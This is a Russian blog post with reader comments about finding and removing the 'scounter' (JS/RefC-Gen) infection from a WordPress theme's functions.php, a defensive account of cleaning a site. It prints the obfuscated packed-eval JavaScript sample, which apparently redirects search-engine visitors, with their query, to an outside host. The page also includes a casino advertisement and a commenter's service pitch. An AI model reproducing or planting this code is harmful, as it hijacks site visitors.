Владимир Вокстермен

Здравствуйте!

А вы знали, что ваш сайт wordpress могут заразить вирусы? Вот и я знал, но как-то мало обращал на это внимание. Ну кому нужен мой скромный сайт с огромным потенциалом, зачем все эти махи… Стоп, точно, у моего сайта — огромный потенциал, совсем из головы вылетело… Как и большая часть страниц из поиска yandex.

Да, What The Fuck, что за biohazard рядом с названием моего сайта!? Оказывается, мой сайт на wordpress заражен вирусом и его надо срочно взбадривать. А то 9, 8, 7…

вирус на сайте wordpress

Уважаемый Платон Щукин помог мне письмом, в котором указал код начинающийся:

«[script language=»JavaScript»]eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!».replace(/^/,String)){while(c—)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c—)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘o r=a.e,t=»»,q;5(r.4(«m.»)!=-1)t=»q»;5(r.4(«b.»)!=-1)t=»q»;5(r.4(«c.»)!=-1)t=»p»;5(r.4(«f.»)!=»;5(r.4(«i.»)!=-1)t=»q»;5(t.6&&((q=r.4(«?»+t+»=»))!=-1||(q=r.4(«&»+t+»=»))!=-1))j.k=»l://9″+»1.»+»n»+»3″+».»+»8″+»9.1″+»s/»+»u.p»+»v?w»+»d=7&t»+»x»+»y=»+r.z(q+2+t.6).A(«&»)[0];’,37,37,’||||indexOf|if|length|||2||go|hp|si|er|ms|substring|split’.split(‘|’),0,{}))[/script]

Скобки в тегах изменены во избежание случайного срабатывания кода.»

Также, Яндекс выдал мне страницы, где прячется JS/RefC-Gen. От него и пришлось лечить сайта. От этой гадины, на которую я потратил целый час своей замечательной жизни. Просмотрев исходный код нужных страниц, я действительно увидел похожий код. Остался вопрос: а как же его найти и удалить?

Для этого я скачал все папки и файлы с хостинга на ПК, предварительно проверив его на вирусы, и выбрал поиск по папкам, чтобы найти нужную строчку кода. Для этого подойдет Total Commander, например.

спасти сайт wordpress от scounter

Вирус назывался scounter, но скорее всего, это один из «псевдонимов» JS/RefC-Gen. Почему назывался? Потому что он был найден и обезврежен. В файле functions.php моей темы.

найти код scountera

Найти и вылечить, удалить вирус на сайте wordpress оказалось делом несложным, если знать, где именно вредный код искать.

Осталось чуть-чуть подождать результатов проверки роботом и снова мой сайт вернется на вершину или поближе к вершине, он-то у меня перспективный.:)

Успехов! Найти и удалить вам вирус на wordpress. А лучше не встречаться с этой заразой. Все будет хорошо!

удалить вирус сайта

Хотите весело провести время в интернете и при этом немного заработать? Тогда лучшие интернет казино рунета к вашим услугам. Ресистрируйтесь и получайте самые привлекательные бонусы казино даже без депозита. Испытай удачу!

Поставьте оценку автору!

Для меня это невероятно важно, а у вас займёт всего лишь один клик.

УжасноПлохоСреднеХорошоОлтично! (5 оценок)
Как найти и удалить вирус с сайта wordpress. Антивирус wordpress
Загрузка...
48 Комментариев
  1. Максим
    24.02.2013 at 12:07

    Картинка в конце поста ваще зачет)5+

  2. wordman
    03.02.2013 at 04:35

    да, тотал командер действительно на вес золота, везде выручает

    • ushi
      05.02.2013 at 15:43

      Абсолютно везде, где имеется ПК и мышь.

  3. Web-vir
    23.01.2013 at 17:42

    Качественно и быстро очистим Ваш сайт от вирусов.
    Снимем блокировки в браузерах и поисковых системах Yandex и Google.
    Предоставим гарантию на выполненную работу.

    На нашем сайте WEB-VIR.RU также есть полезные статьи, которые могут быть Вам полезны:
    Удаление вирусов с сайта самостоятельно
    Защита сайта после очистки от вирусов
    Проверить сайт на вирусы

  4. Надежда Хачатурова
    17.11.2012 at 08:01

    Выбранный Вами стиль вселяет оптимизм. Скажите, а что-то изменилось в Ваших познаниях с момента написания этого поста? Например, я вчера нашла вирусы с помощью плагина AntiVirus. Один код с абракадаброй удалила, но у меня есть еще кусочек такой eval(get_option(‘blogoption — помечен подозрительным. Как теперь понять, что это? А то положу сайт совсем. Вчера чуть ЧП не случилось. Скопировала код в текстовый файл, и в это время отключился ноутбук. Спасло то, что после удаления строчки все заработало. А если бы нет?
    Надеюсь на то, что Вы уже специалист в таких вопросах, тем более, при поддержке Платона Щукина. 🙂

    • ushi
      22.11.2012 at 06:31

      Возможно, что это кусочек «нормальной» функции, не переживайте.

      • Надежда Хачатурова
        22.11.2012 at 09:43

        Спасибо за моральную поддержку. Вот бы мне посмелее быть при первом заражении год назад. Удалила бы все, в чем эти кусочки. Точно! Теперь что-то доходить начало. 🙂

  5. gizmo
    09.03.2012 at 16:37

    Вообщем, уболтали,подписался:)

  6. gizmo
    09.03.2012 at 16:33

    Хотя поспешил… Вот лучшая статья по удалению вируса с сайта wordpress!

  7. ushi
    08.03.2012 at 20:14

    А статья оказалась популярной. Спасибо, что рассказываете другим, ставите твиты.

  8. Novapreerse
    NovapreerseОтветить
    08.03.2012 at 19:13

    Почистил сайт на wordpress от вируса! А еще понравилось про бесплатные сайты. ну домены бесплатные, которые

  9. ushi
    01.03.2012 at 17:28

    Смешной чувак. Я ему статью откуда вирус берется и как удалить его, а он ссылку кидает с вопросом как вирус попал к нему на сайт. Где здесь смайл facepalm?)))

  10. Роман
    31.01.2012 at 03:02

    Спасибо, ushi. Ваш опыт мне пригодился.

  11. ushi
    10.12.2011 at 13:31

    Всегда пожалуйста! Убирается «левый» код, который заключен в < ?php КОД ?>. Убирается вместе с < ?php и ?>.
    Вирус может быть не только в functions.php. Пожалуйста, прочтите ещё http://blogalt.ru/wordpress/killviruswordpress.html.

  12. Юлия
    10.12.2011 at 00:22

    Супер! Спасибо! Я его неделю не могла вычислить. Как я поняла после php убирается все?

  13. ushi
    08.12.2011 at 12:24

    Дмитрий и Оксана, объявляю вас… Нет, не то:)
    Всегда пожалуйста, рад что получилось помочь.
    Настоятельно рекомендую перепроверить файлы, имена которых я описал здесь:
    http://blogalt.ru/wordpress/killviruswordpress.html

  14. Oksana
    08.12.2011 at 10:53

    Огромное спасибо!
    Я потратила не час, а пару дней.
    Сегодня нашла, что зараза в файле function, а что делать дальше — не понятно. Вы помогли.
    Еще раз спасибо!

  15. Дмитрий Круглов
    Дмитрий КругловОтветить
    03.12.2011 at 13:56

    Альтруист, спасибо, как раз мой случай оказался. А то уж не знал, где искать.

  16. ushi
    24.11.2011 at 12:26

    Да он в коде содержался, вроде так)

  17. ushi
    24.11.2011 at 12:25

    Blogalt.ru может помочь с удалением вирусов с сайта wordpress(начало seo-обещающее).
    Скорее всего вирус прячется в файлах index.php, footer.php, header.php. Причем не только в файлах темы.

  18. Вячеслав
    ВячеславОтветить
    07.11.2011 at 18:41

    Гугл тоже занес мой сайт в разряд «подозрительных» и код на главной страничке eval… и т.д. но вот перебрал уже все php файлы, но так и не нашел, где эта зараза прячется. Может кто поможет?

  19. mamanegra
    19.10.2011 at 08:44

    Вот только непонятно, как вы узнали про название вируса?

  20. ushi
    28.09.2011 at 08:09

    Да, представьте, помогли. Без них бы и не было статьи, как удалить вирус с сайта wordpress. 🙂

  21. Павка
    22.09.2011 at 21:35

    Неужели платоны и правда помогли) не похоже на них

  22. ushi
    22.09.2011 at 20:51

    Спасибо! Но я всего лишь старался спасти один из своих сайтов. Рад, что эта информация(которая в посте, а не о сайте), помогает людям. Подписчикам всегда рады. Подписаться вы можете введя адрес электронной почты в форме в левом верхнем углу.

    Для любопытных, сайт спасен;)

  23. mamanegra
    22.09.2011 at 20:46

    Это лучшее, что я читал о том, как найти и удалить вирусы с сайта на wordpress. Автору — респект. Стану вашим трейтим подписчиком,)

  24. rachelila
    21.09.2011 at 08:39

    Спасибо! теперь я знаю, как избавиться от вируса на своем сайте!

    • Максим
      24.02.2013 at 12:07

      Да,спасибо я только недавно какой-то вирус нашел,уже удалил)

      • ushi
        26.02.2013 at 02:36

        Будьте здоровы! А вот это — оригинальная и одна из первых статей в рунете о поиске и удалении вирусов. Личный опыт.

Добавить комментарий

Ваше сообщение*

Имя*
Email*
Сайт